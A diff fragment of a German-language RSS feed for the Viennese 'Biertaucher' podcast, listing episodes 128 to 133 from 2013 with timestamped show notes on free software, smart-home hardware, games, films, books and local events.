+</li><li> 0:29:04 Gregors französisches Filmwochenende: <a href="https://de.wikipedia.org/wiki/Au%C3%9Fer_Atem">Breathless (Außer Atem)</a> (<a href="http://www.amazon.de/gp/product/B005IL160Y/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B005IL160Y&linkCode=as2&tag=spielendprogr-21">Amazon Link</a>). Außerdem Dokumentation über <a href="http://docuwiki.net/index.php?title=Woody_Allen:_A_Documentary">Woody Allen</a>
+</li><li> 0:36:47 Horst guckt Youtube: <a href="http://www.youtube.com/user/HSTSketchComedy?feature=watch">Havard Sailing Team</a> (<a href="http://youtu.be/x1hLREgL194">Hipster Thanksgiving</a>)
+</li><li> 0:40:17 ausgelesen: <a href="http://www.amazon.de/gp/product/3442157552/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3442157552&linkCode=as2&tag=spielendprogr-21">Bill Bryson: Eine kurze Geschichte der alltäglichen Dinge</a> (viktorianisches England)
+</li><li> 0:48:22 Gregor spielt unter Steam: <a href="http://thecavegame.com/">The Cave</a>
+</li><li> 0:55:41 Horst programmiert für seine Schüler einen <a href="https://github.com/horstjens/ThePythonGameBook/blob/master/python/littleAdventure.py">Text-Dungeon Crawler</a> (Text-Adventure)
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher133.mp3" length="42179567" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor bastelt Elektronik-Adventskalender, schaut französische Filme und spielt The Cave. Horst liest Bücher von Terry Pratchett und Bill Bryson. Und vieles mehr..</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/vZCd8v http://biertaucher.at
+</itunes:summary>
+<itunes:duration>58:31</itunes:duration>
+<itunes:keywords>Biertaucher, 133, Podcast, Conrad, Elektronik, Adventkalender, Metalab, Hardware, Stallman, Emacs, Improv, Solarus, Zelda, Ausser Atem, Woody Allen, Havard Sailing Team, Terry Pratchett, Raising Steam, Bill Bryson, The Cave
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 132</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:132</link>
+ <pubDate>Wed, 27 Nov 2013 13:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher132.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:132&amp;title=Biertaucher%20Folge%20132&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Greor PRIDUN, Horst JENS, Harald PICHLER und Albert KNORR plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/3TkJzJ oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/3TkJzJ">hier klicken um die Shownotes zur Folge 132</a> zu sehen</i><br></br>
+ <b>Greor PRIDUN</B>, <b>Horst JENS</B>, <b>Harald PICHLER</B> und <b>Albert KNORR</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:44 worüber wir reden werden: Kindermatinee "Netzwerke für Kinder", "Buch Wien Messe", "Seniorenmesse", Interview mit Albert Knorr, Hörermeldungen
+</li><li> 0:02:00 Hörermeldung von Bernhard: <a href="https://play.google.com/store/apps/details?id=de.danoeh.antennapod&hl=de">Antenna-Podcatcher</a> ist <a href="https://gpodder.net/">gpoddern.net</a> kompatibel
+</li><li> 0:05:00 Hörermeldung von <a href="https://plus.google.com/u/0/b/115278437571900143077/103832455735884715701">Christoph</a> : <a href="https://bitcoinstarter.com/projects/269">Bitcoin für Scratch</a>
+</li><li> 0:08:06 Reportage: Gregor besuchte die <a href="https://www.cee.siemens.com/web/at/de/corporate/portal/Nachhaltigkeit/Themenfelder/CorporateCitizenship/kultur/siemens-kindermatineen/saison-2013-2014/Pages/professor-scieman.aspx">Siemens Kindermatinee über Netzwerke</a>
+</li><li> 0:14:32 <a href="http://osdomotics.com">OSdomoics</a> <a href="http://osdwiki.open-entry.com/doku.php/de:projekte:powerbox4">Powerbox</a> mit ipv6-schaltbaren Relais
+</li><li> 0:28:33 Reportage: Horst war auf der <a href="http://www.senior-aktuell.at/">Seniorenmesse</a> Senior aktuell
+</li><li> 0:34:12 Reportage: Horst war auf der <a href="http://www.buchwien.at/">Buch Wien Messe</a> (Albert's Knorr Messestände), siehe auch <a href="http://spielend-programmieren.at/de:podcast:biertaucher:2011:026">Biertaucherpodcast 26</a>
+</li><li> 0:48:05 <a href="http://www.heise.de/ix/meldung/Mac-OS-X-Kern-Darwin-auf-ARM-portiert-2053257.html">freier Mac-OSX Kernel für ARM</a> ?
+</li><li> 0:50:55 TV: Gregor schaut 2. Staffel von <a href="https://en.wikipedia.org/wiki/Black_Mirror_(TV_series)">Black Mirror</a>
+</li><li> 0:55:00 Termin: Harald ist jeden 2. Mittwoch im Monat im Wiener Metalab beim <a href="https://metalab.at/wiki/SmarthomeStammtisch">Smarthome Stammtisch</a> (nächster Termin 6. Dez.)
+</li><li> 0:56:44 Termin: Nächste Woche ist <a href="http://www.roboexotica.org/">Roboxotica</a>
+</li><li> 0:57:30 Harald über Osdomotics-Reise nach Gütersloh, Haussteuerungstechnik & Energiesparen für Senioren
+</li><li> 1:00:22 Kinowerbung: Neue Startrek Serie: Renegades
+</li><li> 1:03:07 Filmwarnung: <a href="https://en.wikipedia.org/wiki/The_Hunger_Games:_Catching_Fire">Die Tribute von Panem, Teil 2: Catching Fire</a> ...
+</li><li> 1:08:52 Podcastempfehlung: Inhaltsverzeichnis vom <a href="http://bitcoinupdate.com/index.php?id=45">Bitcoin-Update 53</a>
+</li><li> 1:09:55 Interview: Albert Knorr, Wiener Thriller-Autor über sein neues Buch <a href="http://www.amazon.de/gp/product/3950268154/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=3950268154&linkCode=as2&tag=spielendprogr-21">Sacer Sanguis Maniac: Mummy Island</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher132.mp3" length="50018830" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Hardware: OsDomotics Powerbox. Reportage: Buch Wien, Senior aktuell, Siemens Kindermatinee. Interview: Albert Knorr über sein Buch Mummy Island</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/3TkJzJ http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:13:51</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 132, Wien, Buch Wien, Senior Aktuell, Siemens, Kindermatinee, Black Mirror, Hunger Games
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 131</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:131</link>
+ <pubDate>Wed, 20 Nov 2013 17:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher131.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:131&amp;title=Biertaucher%20Folge%20131&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN, Horst JENS, Harald PICHLER, Ralf SCHLATTERBECK, Jörg WUKONIG und Roman SCHLEICHERT plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/cuJBpC oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/cuJBpC">hier klicken um die Shownotes zur Folge 131</a> zu sehen</i><br></br>
+ <b>Greor PRIDUN</B>, <b>Horst JENS</B>, <b>Harald PICHLER</B>, <b>Ralf SCHLATTERBECK</B>, <b>Jörg WUKONIG</B> und <b>Roman SCHLEICHERT</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Was letzte Woche passiert ist - Ankündigung von Interviews am Ende des Podcasts.
+</li><li> 0:01:35 schöner bilden: Horst war auf der Interpädagogica Bildungsmesse in Graz am 14-11-2013: <a href="http://d4e.at/">Desktop4Education</a>, <a href="http://bgweiz.at/cms/component/content/article/16-lehrer/360-lehrer-details?go">Helmuth Peer</a>, <a href="http://bgweiz.at/cms/component/content/article/16-lehrer/360-lehrer-details?go">Roman Schleichert's</a> Quadrocopter (siehe Interview im Anschluss), <a href="http://ping-solutions.at/">Matthias Praunegger</a>, <a href="https://de.wikipedia.org/wiki/Whiteboard">Whiteboards</a>, <a href="http://www.lernmax.at/">Lernmax</a>
+</li><li> 0:10:56 Lernspiel über Geld: <a href="http://threecoins.org/home/">Three Coins</a> wird gerade entwickelt von <a href="http://www.ovos.at/">Ovos</a>, bekannt u.a. durch Physikspiel <a href="http://www.playludwig.com/">Ludwig</a>
+</li><li> 0:12:19 schöner installieren: Gregor korrigiert sich: Man kann Windows8 auch rein offline zu installieren. Spielekauf auf Steam via PayPal
+</li><li> 0:13:51 schöner rätseln: Gregor kauft comic-basiertes Adventurespiel: <a href="http://www.telltalegames.com/thewolfamongus/">The Wulf among us</a> von Telltales
+</li><li> 0:16:35 Gregor war im <a href="http://www.burgtheater.at/">Burgtheater</a>: Mutter Courage und ihre Kinder sowie im Akademietheater: <a href="http://www.burgtheater.at/Content.Node2/home/spielplan/premieren/Schatten-Euridike-sagt.at.php">Schatten</a> von Elfriede Jelinek
+</li><li> 0:20:34 schöner Workshop: Horst arbeitete erstmals im <a href="http://xn--a1internetfralle-tzb.at/">A1 Internet für alle Zentrum</a> im 2. Bezirk (Scratch Workshop). Gregor freut sich auf <a href="https://www.cee.siemens.com/web/at/de/corporate/portal/Nachhaltigkeit/Themenfelder/CorporateCitizenship/kultur/siemens-kindermatineen/Pages/kindermatineen.aspx">Siemens Kindermatinee</a> (Wissenschafts-Show für Kinder)
+</li><li> 0:23:30 schöner Kinos-schauen: Gregor empfiehlt den neuen Woody Allen Film <a href="http://www.film.at/blue-jasmine/detail.html?cc_detailpage=review">Blue Jasmin</a>
+</li><li> 0:26:31 schönes Festl: <a href="http://2013.elevate.at/home/">Elevate-Festival</a> in Graz (siehe Interview von Ralf im Anschluss)
+</li><li> 0:27:30 schöne Dienstreise: Osdomotics war Gütersloh um das <a href="http://youtu.be/FZUOeQsbBX8">Passivhaus von Kurt Gramlich</a> (Skolelinux, Energiewende) mit 6lowPan-Mess-Sensoren zu bestücken (siehe Interview mit Harald in diesem Podcast), Technonomaden
+</li><li> 0:32:14 schöner zweifeln: Ist die <a href="https://de.wikipedia.org/wiki/Bielefeld">Bielefeld-Verschwörung</a> ein Hoax ?
+</li><li> 0:34:12 Tech-Meldungen: <a href="http://www.cyanogenmod.org/">Cyanogen-Mod</a> wird eine Firma, Oppo, kazaam?
+</li><li> 0:38:28 PODCAST-Empfehlung: <a href="http://bitcoinupdate.com/index.php?id=44">Inhaltsverzeichnis vom Bitcoin-Update 52</a>
+</li><li> 0:39:06 INTERVIEW mit <a href="http://bgweiz.at/cms/component/content/article/16-lehrer/360-lehrer-details?go">Roman Schleichert</a> (Darstellende-Geometrie Lehrer im BG Weiz) erklärt wie man als Schule vom Unterrichtsministerium 3d-Drucker und Quadrocopter finanziert bekommt sowie Mädchen mit Lötkolben
+</li><li> 0:46:13 INTERVIEW mit <a href="http://www.runtux.com/">Dr. Ralf Schlatterbeck</a> über das <a href="http://2013.elevate.at/home/">Elevate-Festival in Graz</a>
+</li><li> 0:49:45 INTERVIEW mit Harald Pichler zum Thema osdomotics und Passivhaus (technische Beschreibung, Preise von <a href="http://osdomoics.org">OSDomotics</a>-Komponenten)
+</li><li> 1:12:55 REPORTAGE von <a href="http://wukonig.com">Jörg Wukonig</a> über <a href="http://www.tedxvienna.at/">TedX Vienna 2013</a>: Biorhythmus, Künstliche Intelligenz, Quasare, Blutkreislauf, künstliches Fleisch, Youtube, Aussteiger, gesprayte Textilien, Unicode, Krautrock u.v.m.
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher131.mp3" length="62023747" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Bericht von der Interpädagogica Bildungsmesse, vom Elevate Festival in Graz, von Kurt Gramlichs Passivenergiehaus in Gütersloh und von TedXVienna. Außerdem Burgtheater (Mutter Courage), Akademietheater (Schatten) und Kino (Blue Jasmin).</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/cuJBpC http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:26:05</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 131, Interpädagoica, Desktop4Education, Helmuth, Peer, Roman Schleichert, Matthias Praunegger, ping solutions, Threecoins, Burgtheater, Blue Jasmin, Kurt Gramlich, Passivhaus, Energiewende, Elevate, TedX Vienna
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 130</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:130</link>
+ <pubDate>Thu, 14 Nov 2013 09:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher130.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:130&amp;title=Biertaucher%20Folge%20130&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Harald PICHLER und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/0Gdw2H oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/0Gdw2H">hier klicken um die Shownotes zur Folge 130</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B>, <b>Harald PICHLER</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+
+<ul>
+ ><li> 0:00:00 Begrüßung, worüber wir reden werden
+</li><li> 0:02:57 Johnny war im Kino: <a href="http://de.wikipedia.org/wiki/Primer_(Film)">Primer</a> (2004), ein verwirrend gutes Erstlingswert von Jane Carruth über Zeitreisen
+</li><li> 0:12:08 Gregor über XMPP (JAbber -Protokoll), Artikel auf Heise.de
+</li><li> 0:16:45 Johnny über Lavabit, Silent Circle?, Edward Snowden und das neue Kickstarter Projekt: <a href="http://darkmail.info/">Darkmail</a>
+</li><li> 0:22:47 <a href="http://dietagespresse.com/affront-faymann-als-einziger-regierungschef-nicht-durch-nsa-abgehoert/">DieTagesPresse.com</a> (österr. Satiremagazin) mit Artikel wo sich Bundeskanzler Faymann aufregt dass er NICHT von der NSA abgehört wird
+</li><li> 0:23:47 Horst war am (Brett)<a href="http://www.spielefest.at/wordpress/">Spielefest</a> im Wiener Konferenzzentrum und hat mit 3 Spieleentwicklern geredet
+</li><li> 0:26:19 Schach-ähnliches Spiel aus Ungarn: Achtung U-Boot (link wird nachgereicht)
+</li><li> 0:30:37 Harald fährt dieses Wochenende zum Skole-Linux Entwickler Kurt Gramlich um dessen Niedrigenergie-Haus mit Smarthome-Fühlern von osdomotics vollzustopfen
+</li><li> 0:33:10 Harald hat eine interessante Email aus Russland bekommen: Smarthome-Lösung mayadomohome.com mit Blockly
+</li><li> 0:38:14 Horst über Brettspiel "<a href="http://de.wikipedia.org/wiki/Johannes_B%C3%BCckler">Schinderhannes</a>" (Link zum Brettspiel wird nachgereicht), und Brettspiel-Selbstverlag, siehe auch CRE-Sendung zum Thema Brettspiel-Entwicklung
+</li><li> 0:43:45 Carcasonne-Computerspiel-Umsetzung, Brettspiele im Eigenverlag produzieren lassen, Harald über Unterschied zwischen Musterschutz und Spielidee (nicht schützbar), Coding-Monkeys Podcast
+</li><li> 0:47:35 Gregor hat das <a href="https://www.humblebundle.com/">"Warner Brother" Humble Bundle WB</a> gekauft. Windows als Steam-box: Batman, Gotham City, 4, 4-2, 4-3, Lord of the rings: war of the lords, scribblenauts.
+</li><li> 0:55:35 Johnny kann Access-Points unter Windows einrichten: Netsh
+</li><li> 0:59:07 Wiener Spielefest: Brettspiel mit Tablet-App: Leaders ( ähnlich wie Risiko oder Axis and Allies ): Crowdfunding für Brettspiele (link wird nachgereicht)
+</li><li> 1:06:39 Ccomputerunterstützte nicht-computerspiele: Eye-Toy für Trading Card Games, Johnny über Kindheitserinnerung: Spiel mit Videokasette
+</li><li> 1:10:26 Haralds Kinder spielen Brettspiele, Gregor über nervige Monopoly-Kreditkarten-Version
+</li><li> 1:14:18 Hardware + Brettspiel: <a href="http://de.wikipedia.org/wiki/Tiptoi">Tip-Toy</a> über einen schlauen Stift mit Sprachausgabe und optischen Scanner
+</li><li> 1:22:18 <a href="http://osdomotics.com">Osdomotics</a>: Temperatur-Sensoren kalibrieren
+</li><li> 1:31:29 Inhaltsverzeichnis vom <a href="http://bitcoinupdate.com/index.php?id=42">Bitcoin-Update 51</a>
+</li><li> 1:32:14 <a href="http://wukonig.com">Jörg Wukonig</a> erzählt vom <a href="http://pioneers.io/festival">Pinoeer Startup-Festival in Wien</a> (siehe <a href="http://spielend-programmieren.at/de:podcast:biertaucher:128">Folge 128</a>)
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher130.mp3" length="71440367" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Ein sehr verspielter Podcast</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/0Gdw2H http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:39:10</itunes:duration>
+<itunes:keywords>130, Biertaucher, Podcast, Wien, Spielefest, Brettspiel, Achtung U-Boot, Schinderhannes, Leaders, Darkmail, Osdomotics, Temperaturfühler, TipToy, Pioneers Startup Festival, Humble Bundle, Warner Brothers, Batman
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 129</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:129</link>
+ <pubDate>Wed, 06 Nov 2013 17:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher129.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:129&amp;title=Biertaucher%20Folge%20129&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Greor PRIDUN, Horst JENS und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/uoSpjP oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/uoSpjP">hier klicken um die Shownotes zur Folge 129</a> zu sehen</i><br></br>
+ <b>Greor PRIDUN</B>, <b>Horst JENS</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 00:02:20 Wie offen ist der <a href="http://de.wikipedia.org/wiki/Raspberry_Pi">RaspberryPi</a>?
+</li><li> 00:04:14 <a href="http://www.heise.de/open/meldung/Linux-fuer-Tastatur-Fans-Salix-Ratpoison-14-0-1-2036803.html">Salix Linux Ratpoison</a>
+</li><li> 00:07:50 <a href="http://crunchbang.org/">#!Crunchbanglinux</a>
+</li><li> 00:08:40 Horst verwendet Desktopbilder-Wechsler Variety
+</li><li> 00:12:30 Gregors Installation von Windows 8.1
+</li><li> 00:15:30 Gregor spielt <a href="http://www.stanleyparable.com/">Stanleys Parabel</a>
+</li><li> 00:21:00 Gespräch rund um Smartphones und das <a href="http://derstandard.at/1381370574186/Google-stellt-Nexus-5-und-Android-44-vor ">neue Nexus 5</a>
+</li><li> 00:26:00 <a href="http://arstechnica.com/security/2013/10/meet-badbios-the-mysterious-mac-and-pc-malware-that-jumps-airgaps/">Bad Bios Virus</a>
+</li><li> 00:30:00 Verifizierbare Hardware/ <a href="http://futurezone.at/digital-life/buegeleisen-infizieren-per-wlan-pcs-mit-malware/33.905.164">Wasserkocher und Bügeleisen mit WLAN</a>
+</li><li> 00:00:00 Rund um <a href="https://de.wikipedia.org/wiki/Near_Field_Communication">NFC</a>
+</li><li> 00:35:00 Horst hat <a href="https://en.wikipedia.org/wiki/The_Long_Earth">Terry Prachets "The Long Earth"</a> gelesen.
+</li><li> 00:41:21 Johnny hat sich den Film <a href="https://de.wikipedia.org/wiki/Source_Code_(Film)">"Sourcecode"</a> angesehen.
+</li><li> 00:47:50 Gregor spielt sich durch das <a href="https://www.humblebundle.com/">"Humble Bundle 7 PC and Android</a>
+</li><li> 00:57:30 Nuchmal kurz besprochen das neue Windows 8.1
+</li><li> 01:03:43 Horst erstellt Animationen mit "OneShot" und "Libre Office Express"
+</li><li> 01:08:50 Bounties für Softwareentwickler <a href="https://www.bountysource.com/">https://en.wikipedia.org/wiki/Open-source_bounty</a>
+</li><li> 01:12:48 <a href="https://de.libreoffice.org/">Exportieren von Bildern</a> aus PDFs und Word-Dateien
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher129.mp3" length="56890999" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle></itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/uoSpjP http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:18:57</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 129
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 128</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:128</link>
+ <pubDate>Wed, 30 Oct 2013 12:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher128.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:128&amp;title=Biertaucher%20Folge%20128&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Greor PRIDUN, Horst JENS, Harald PICHLER und Jörg WUKONIG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/hoMBcn oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/hoMBcn">hier klicken um die Shownotes zur Folge 128</a> zu sehen</i><br></br>
+ <b>Greor PRIDUN</B>, <b>Horst JENS</B>, <b>Harald PICHLER</B> und <b>Jörg WUKONIG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, was wir erlebt haben
+</li><li> 0:01:35 Harald hat eine Box mit gebracht mit smarten Brandschutzmeldern (siehe <a href="http://osdomoics.com">OSDomotics</a>)
+</li><li> 0:09:28 Jörg Wukonig ist in Wien wegen dem <a href="http://pioneers.io/festival/live">Pioneers-Festival</a> (Startup und Gründer Meeting) und der <a href="http://www.tedxvienna.at/">TedX Vienna</a> Konferenz am Wochenende um sein Hirn zu lüften
+</li><li> 0:16:30 Gregor outet sich als <a href="http://evernote.com/">Evernote</a> User und <a href="http://foodblogger.at/">Foodblog</a>-Fotograf. Wir rätseln über Wissensmanagement.
+</li><li> 0:19:32 Jörg benutzt das <a href="http://www.boomeranggmail.com/">Boomerang Plugin</a> für Gmail um Emails in die Zukunft zu schreiben und erzählt warum er auf das Pioneer-Festival geht.
+</li><li> 0:22:46 Prinzip der <a href="http://de.wikipedia.org/wiki/Reziprozit%C3%A4t_(Soziologie)">Reziprozität</a>: Jörg ist absichtlich nett
+</li><li> 0:23:36 Jörg freut sich auf das TedX Vienna im Volkstheater wo es angeblich noch Restkarten gibt. Thema "Grenzen der Wissenschaft".
+</li><li> 0:26:10 Gregor war im Rabenhoftheater bei den <a href="http://derstandard.at/1381369906644/Big-Brother-Awards-Ubuntu-und-NSA-raeumen-ab">Big Brother Awards</a> (Anti-Datenschutz-Preis). NSA und österr. Bundesregierung und Microsoft (Kinect) haben gewonnen
+</li><li> 0:29:08 Jörg hat seine Eltern ins Internet gebracht und nimmt sich vor seiner Mama Facebook zu verbieten. <a href="https://en.wikipedia.org/wiki/SEO">SEO]: Google liefert keine Daten zu Schlüsselwörtern mehr: "Not-Provided-Problem", möglicherweise damit nicht Facebook an Google Analytics Daten "mitnascht".
+</li><li> 0:33:00 <a href="https://crypto.cat/">Cryptocat</a> war nicht wirklich sicher. Harald will Smarthome-Sensoren verschlüsseln mit <a href="https://en.wikipedia.org/wiki/Transport_Layer_Security">TLS</a> und <a href="https://en.wikipedia.org/wiki/DTLS">DTLS</a> und verwendet dazu die <a href="http://tinydtls.sourceforge.net/">tinydtls-lib</a>
+</li><li> 0:40:30 Gregor unterstützt die Crowd-Funding Kampagne für das neue Spiel der Wiener Spielefirma Broken Rules: <a href="http://www.indiegogo.com/projects/secrets-of-raetikon">Raetikon</a> (indygogo)
+</li><li> 0:43:40 Horst war im Kino: <a href="http://www.bottledlifefilm.com/">Bottled Live</a> ( Nestle und die Wasser-Rechte) und fühlt sich an den Film <a href="http://www.imdb.com/title/tt0090297/?ref_=fn_al_tt_2">Water (1985)</a> erinnert. EU Streit über <a href="http://orf.at/stories/2188084/">Wasser Privatisierung</a>. Jörg lobt <a href="http://zypresse.at/">Garip's</a> Essen. Man kann schon Luft in Dosen kaufen.
+</li><li> 0:52:57 Musik-David gegen Konzern-Goliath in der Steiermark: <a href="http://www.sir-oliver.com/">Sir Oliver</a> vs. <a href="http://www.soliver.at/">S-oliver</a>: <a href="http://www.kleinezeitung.at/steiermark/graz/graz/3448354/modekette-entschuldigt-sich-nacht-streit-bluesmusiker.story">Kleiderkonzern, Bluesmusik und Domaingrabbing</a>. Wie Konzerne und Presse mit Shit-Storms und Social Media umgehen.
+</li><li> 1:12:27 Bottled-Live und Water (1985)
+</li><li> 1:13:19 Linus Thorvalds spricht über <a href="http://derstandard.at/1381369734949/Linus-Torvalds-Valve-bringt-neue-Hoffnung-fuer-den-Linux-Desktop">Valve (Steam)</a>
+</li><li> 1:14:48 Gregors Filmwarnung: <a href="http://de.wikipedia.org/wiki/After_Earth">after Earth</a> (Will Smith und Sohn), unangenehmer Scientology Beigeschmack
+</li><li> 1:16:54 Gregors Filmempfehlung: Der <a href="https://en.wikipedia.org/wiki/Europa_Report">Europa Report</a> Expedition zum Jupitermond
+</li><li> 1:18:55 <a href="http://python-verband.org/news/europython-2014-und-2015-findet-in-berlin-statt">Europython 2014</a> findet in Berlin statt
+</li><li> 1:19:30 <a href="https://archive.org/details/historicalsoftware">Historicalsoftware</a> alte 80-er Jahre Spiele im Webbrowser spielen. Warum alte Spiele heute schlecht sind. ( <a href="https://en.wikipedia.org/wiki/Pitfall!">Pitfall</a> Jörg liest Bücher über Commodore 64 und Amiga Firmenkultur.
+</li><li> 1:28:25 wir spekulieren über die Zukunft von Microsoft. Neues gratis OS von Apple
+</li><li> 1:29:07 Jörg's Mutter liest im Internet was ihr Sohn beruflich macht
+</li><li> 1:31:47 damals in den 80ern: Wie Jugendliche programmieren gelernt haben (Commodore 64). Pleite von <a href="https://de.wikipedia.org/wiki/Data_Becker">Data Becker</a>. Über die Freude unverständliche Listings abzutippen und Wecker zu zerlegen.
+</li><li> 1:41:00 Geek Humor und Hexzahlen
+</li><li> 1:42:50 Inhaltsverzeichnis <a href="http://bitcoinupdate.com/index.php?id=40">Bitcoin Update 49</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher128.mp3" length="74632740" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Jörg kommt aus Graz angereist und freut sich auf TedxVienna und Gründertreffen. Harald hat smarte Rauchmelder mitgebracht, Horst hat sich Bottled Life im Kino angeschaut, Gregor spricht Filmwarnungen aus und kauft Humble Bundle Spiele für Android</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/hoMBcn http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:43:36</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 128, Brandschutzmelder, Pioneers, Startup, TED, TedxVienna, Big Brother Awards, SEO, Cryptocat, TLS, DTLS, Raetikon, Wasser, Bottled Life, S_Oliver, Domaingrabbing, Europython, Historicalsoftware, 80er Jahre, Bildung
+</itunes:keywords>
+</item>
+
+
+
+
+
+
+
+<item>
+ <title>Biertaucher Folge 127</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:127</link>
+ <pubDate>Wed, 23 Oct 2013 23:30:00 +0100</pubDate>
